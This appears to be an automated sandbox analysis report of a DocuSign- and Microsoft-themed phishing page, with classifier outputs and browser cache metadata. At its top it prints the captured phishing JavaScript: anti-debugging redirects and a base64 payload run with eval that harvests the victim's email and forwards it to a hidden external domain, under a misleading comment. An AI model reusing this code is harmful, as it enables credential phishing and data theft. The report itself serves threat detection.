performance.now(); debugger; const vrSKzDHoPp = performance.now(); if (vrSKzDHoPp - BJAJGmCRwt > XQAyRqIWho && !YQbcRQHHsE) { dUIPNrlcBU = true; YQbcRQHHsE = true; window.location.replace('https://login.microsoftonline.com'); } }, 100); })();
URL: https://socnpj.com.br/team-drive/Organization/priv... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The script has a mix of low-risk and moderate-risk behaviors. It extracts an email from the URL parameters and uses it to construct a URL, which could potentially lead to data exfiltration. However, the script also includes a basic email validation function, which suggests it may have a legitimate purpose. Further review is needed to determine the full context and intent of the script." }
const encodedScript = 'ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvbnRpbnVlLWJ1dHRvbicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnRpbnVlTG9hZGluZygpOw0KICAgIH0pOw0KDQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3RoZXN1cHdpbGxzdXBpbnRpbWVvZm5lZWRzLWlucHV0JykuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgICAgIGlmIChldmVudC5rZXkgPT09ICdFbnRlcicpIHsNCiAgICAgICAgICAgIGNvbnRpbnVlTG9hZGluZygpOw0KICAgICAgICB9DQogICAgfSk7DQoNCiAgICAvLyBGdW5jdGlvbiB0byBleHRyYWN0IGVtYWlsIGZyb20gVVJMIHBhcmFtZXRlcnMNCiAgICBmdW5jdGlvbiBnZXRFbWFpbEZyb21VUkwoKSB7DQogICAgICAgIGNvbnN0IHVybFBhcmFtcyA9IG5ldyBVUkxTZWFyY2hQYXJhbXMod2luZG93LmxvY2F0aW9uLnNlYXJjaCk7DQogICAgICAgIGZvciAobGV0IHBhcmFtIG9mIHVybFBhcmFtcy52YWx1ZXMoKSkgew0KICAgICAgICAgICAgaWYgKHZhbGlkYXRlRW1haWwocGFyYW0pKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHBhcmFtOyAgLy8gUmV0dXJuIHRoZSBmaXJzdCB2YWxpZCBlbWFpbCBmb3VuZA0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiBudWxsOyAgLy8gTm8gZW1haWwgZm91bmQgaW4gdGhlIFVSTA0KICAgIH0NCg0KICAgIC8vIEV4dHJhY3QgZW1haWwgZnJvbSB0aGUgVVJMIGFuZCBzZXQgaXQgaW4gdGhlIGlucHV0IGZpZWxkIGlmIGZvdW5kDQogICAgY29uc3QgZW1haWxGcm9tVVJMID0gZ2V0RW1haWxGcm9tVVJMKCk7DQogICAgaWYgKGVtYWlsRnJvbVVSTCkgew0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGhlc3Vwd2lsbHN1cGludGltZW9mbmVlZHMtaW5wdXQnKS52YWx1ZSA9IGVtYWlsRnJvbVVSTDsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjb250aW51ZUxvYWRpbmcoKSB7DQogICAgICAgIHZhciB0aGVzdXB3aWxsc3VwaW50aW1lb2ZuZWVkcyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0aGVzdXB3aWxsc3VwaW50aW1lb2ZuZWVkcy1pbnB1dCcpLnZhbHVlOw0KICAgICAgICBpZiAodmFsaWRhdGVFbWFpbCh0aGVzdXB3aWxsc3VwaW50aW1lb2ZuZWVkcykpIHsNCiAgICAgICAgICAgIHZhciBsaW5reCA9ICJhSFIwY0hNNkx5OTJhWE5oYjNod2NtOWtkWFJ2Y21FdVkyOXRMbUp5TDNOMVkyTmxjM012YVc1a1pYZ3VhSFJ0YkEiOyAvLyBCYXNlNjQgZW5jb2RlZCBsaW5rDQogICAgICAgICAgICB2YXIgUGx1c1ggPSBhdG9iKGxpbmt4KTsNCiAgICAgICAgICAgIHZhciBmaW5hbExpbmsgPSBQbHVzWCArICIjeCIgKyB0aGVzdXB3aWxsc3VwaW50aW1lb2ZuZWVkczsgIC8vIERpcmVjdGx5IGFwcGVuZCB0aGUgZW1haWwgYWRkcmVzcw0KICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSBmaW5hbExpbms7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIGEgdmFsaWQgZW1haWwgYWRkcmVzcy4iKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHZhbGlkYXRlRW1haWwoZW1haWwpIHsNCiAgICAgICAgdmFyIHJlID0gL15bXlxzQF0rQFteXHNAXStcLlteXHNAXSskLzsNCiAgICAgICAgcmV0dXJuIHJlLnRlc3QoZW1haWwpOw0KICAgIH0'; // base64 for 'function continueLoading() { alert("Loading..."); }' const decodedScript = atob(encodedScript); eval(decodedScript);
URL: https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.net Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://socnpj.com.br/team-drive/Organization/privacy/index_.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You received a secured document: Authenticating ..Please enter the email address to which the document was shared.", "prominent_button_name": "Open Cloud Document", "text_input_field_labels": [ "juvy3s@eei.net" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://socnpj.com.br/team-drive/Organization/privacy/index_.html Model: Joe Sandbox AI	{ "brands": [ "DocuSign" ] }
	{ "brands": [ "DocuSign" ] }
URL: https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.net Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.net Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://8zkl.gratzeware.ru/7axa6RvO/#Axjuvy3s@eei.net Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://socnpj.com.br/team-drive/Organization/privacy/index_.html Model: Joe Sandbox AI	```json{ "legit_domain": "docusign.com", "classification": "wellknown", "reasons": [ "The brand 'DocuSign' is well-known and typically associated with the domain 'docusign.com'.", "The provided URL 'socnpj.com.br' does not match the legitimate domain for DocuSign.", "The URL 'socnpj.com.br' does not contain any recognizable elements related to DocuSign.", "The domain 'socnpj.com.br' is a Brazilian domain and does not align with the typical domain structure for DocuSign.", "The presence of an email input field suggests potential phishing, especially if the domain is unrelated to the brand." ], "riskscore": 9} Google indexed: True
URL: socnpj.com.br Brands: DocuSign Input Fields: juvy3s@eei.net
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "56b9x9@gtrtc.org" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "We couldn't find an account with that username. Try another, or get a new Microsoft account.", "prominent_button_name": "Next", "text_input_field_labels": [ "56b9x9@gtrtc.org" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	dropped
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
Reputation:	low
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 454821
Category:	downloaded
Size (bytes):	122725
Entropy (8bit):	7.997347629519925
Encrypted:	true
SSDEEP:	3072:aVYOI2atrRjlmfTIbRTQCjqYgXyIq40z3b335DfGZkbGft:JrFRxZQCqYgXytzIWGft
MD5:	9CDA699A84CA8729FAF194B8EFDDF6C0
SHA1:	804F83F5225243951178A1F785AF2B897B87ACA5
SHA-256:	A7C6A8173409765CFCAA6925CBF2CA7732ECC5B353FC8274746FA4BF4A1CABC4
SHA-512:	FA7A94976304C486A8A20C0672C8B4DEE5532099434B475B36C230498DB14DE99596B54AE95A2C9D2601EABCCDCDEE4DF5A1B21231F18E6EAD9AD453120588EB
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js
Preview:	...........}[.8......\&.L.....M..f...@......V....../'d?...$..........mb..V..J............2..]]W.'...WG.K............`.....~\..SV..#'f^%.aT..7..a.$,.....w..q.......O.&qe......i.\.Bu.W.t..rzY.C..j.'~...p.....J.&..N.QmS..bVY.......P9..(..qR....'h$^@z....D....2.....^."..5.fx.1.C.\|...@._...b....4....k].DZ..7.J.V^..}6.?.T.o......:.p.zn.1.....i%..B.....2..x.Z.DN.(....9..................^aq...l.sK.?.1.K2.T...Q.3.T....5..Y.Y.I2....&~....p.......C..G........?c^....\.F..Q8s.@.u.b.4..K...`_.....q\|q.?]..<>l........R...........u_.....#.c..m.}{w....,.$....N....N..p..a..0y........@..1.].......m....v..E.P..h.....8..$@....]UFz.UV.mrgG.O.j.=..+{Zs..?N..jm%.h/W.c/.-.X..h........w..%.(...:.),...J.d/}+....Lk.Z..B..Q..YVO..wX....edi....e.#?.....".U.q-..J....h4..m....i}....[..+.z.E.<mC..]X.N..4.^.....*...,..j..;.).j...N..G....X7k..@L.L...h-.p..%R?.>e.......3.O_.....T$.C..~\|)...U..!.k1=...)Y! )..;.Y.#%......{.K..?0.s_oo..%.S.i...kgr..XUC ...M.yJ.......

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 454821
Category:	dropped
Size (bytes):	122725
Entropy (8bit):	7.997347629519925
Encrypted:	true
SSDEEP:	3072:aVYOI2atrRjlmfTIbRTQCjqYgXyIq40z3b335DfGZkbGft:JrFRxZQCqYgXytzIWGft
MD5:	9CDA699A84CA8729FAF194B8EFDDF6C0
SHA1:	804F83F5225243951178A1F785AF2B897B87ACA5
SHA-256:	A7C6A8173409765CFCAA6925CBF2CA7732ECC5B353FC8274746FA4BF4A1CABC4
SHA-512:	FA7A94976304C486A8A20C0672C8B4DEE5532099434B475B36C230498DB14DE99596B54AE95A2C9D2601EABCCDCDEE4DF5A1B21231F18E6EAD9AD453120588EB
Malicious:	false
Reputation:	low
Preview:	...........}[.8......\&.L.....M..f...@......V....../'d?...$..........mb..V..J............2..]]W.'...WG.K............`.....~\..SV..#'f^%.aT..7..a.$,.....w..q.......O.&qe......i.\.Bu.W.t..rzY.C..j.'~...p.....J.&..N.QmS..bVY.......P9..(..qR....'h$^@z....D....2.....^."..5.fx.1.C.\|...@._...b....4....k].DZ..7.J.V^..}6.?.T.o......:.p.zn.1.....i%..B.....2..x.Z.DN.(....9..................^aq...l.sK.?.1.K2.T...Q.3.T....5..Y.Y.I2....&~....p.......C..G........?c^....\.F..Q8s.@.u.b.4..K...`_.....q\|q.?]..<>l........R...........u_.....#.c..m.}{w....,.$....N....N..p..a..0y........@..1.].......m....v..E.P..h.....8..$@....]UFz.UV.mrgG.O.j.=..+{Zs..?N..jm%.h/W.c/.-.X..h........w..%.(...:.),...J.d/}+....Lk.Z..B..Q..YVO..wX....edi....e.#?.....".U.q-..J....h4..m....i}....[..+.z.E.<mC..]X.N..4.^.....*...,..j..;.).j...N..G....X7k..@L.L...h-.p..%R?.>e.......3.O_.....T$.C..~\|)...U..!.k1=...)Y! )..;.Y.#%......{.K..?0.s_oo..%.S.i...kgr..XUC ...M.yJ.......

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 87, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.9708734032409505
Encrypted:	false
SSDEEP:	3:yionv//thPlpotnlQS/1xl/k4E08up:6v/lhPctlQO7Tp
MD5:	E88C73115CA815D5A89D19C8271A6462
SHA1:	305D0D5CDBBE606F1E40CC9577714EE0151066C4
SHA-256:	23F32E1DA85482541B028D80445D929F0BC00CF7C844D27F48F115B1B7146C21
SHA-512:	C8B2D18FD921FBF50727ACAAF04A974B2EEE49C73E8F9F6C60D697DDEA8C3702BCF50B8B848EDDF22EF75DF99B5808966F1BD8976ED84F8E5C82DCC6E5D5DC72
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901811ce6a59f797/1736799447630/76HKqqu4KYOhJKZ
Preview:	.PNG........IHDR...d...W.....}nw.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142534
Category:	dropped
Size (bytes):	49954
Entropy (8bit):	7.99493321471063
Encrypted:	true
SSDEEP:	1536:vr2T/4LxF17O6lJgX3ys65sBcY++i0RumwzV:Cz4LL1imP56m+i+umwzV
MD5:	E16AC075AC754DBD1CF969508220E30D
SHA1:	69A91FF7A1C044231D6D28B4DD4C6AD3D34F2A50
SHA-256:	E8AC3DCEF9E67CC776542A40C71B719D41668DF41D294C1A49A5AD23C5A5B5EC
SHA-512:	12C4E6E5BD999E7BF431DCA707DA4BB5193D2795DD139DCAFC38CAFA757A88F75068D3F2821840068247B9F6CFB55178EF223CDB3349444E622EA4A8E69700A6
Malicious:	false
Reputation:	low
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.980582012022051
Encrypted:	false
SSDEEP:	384:8RvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:8pmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	3BA4D76A17ADD0A6C34EE696F28C8541
SHA1:	5E8A4B8334539A7EAB798A7799F6E232016CB263
SHA-256:	17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
SHA-512:	8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
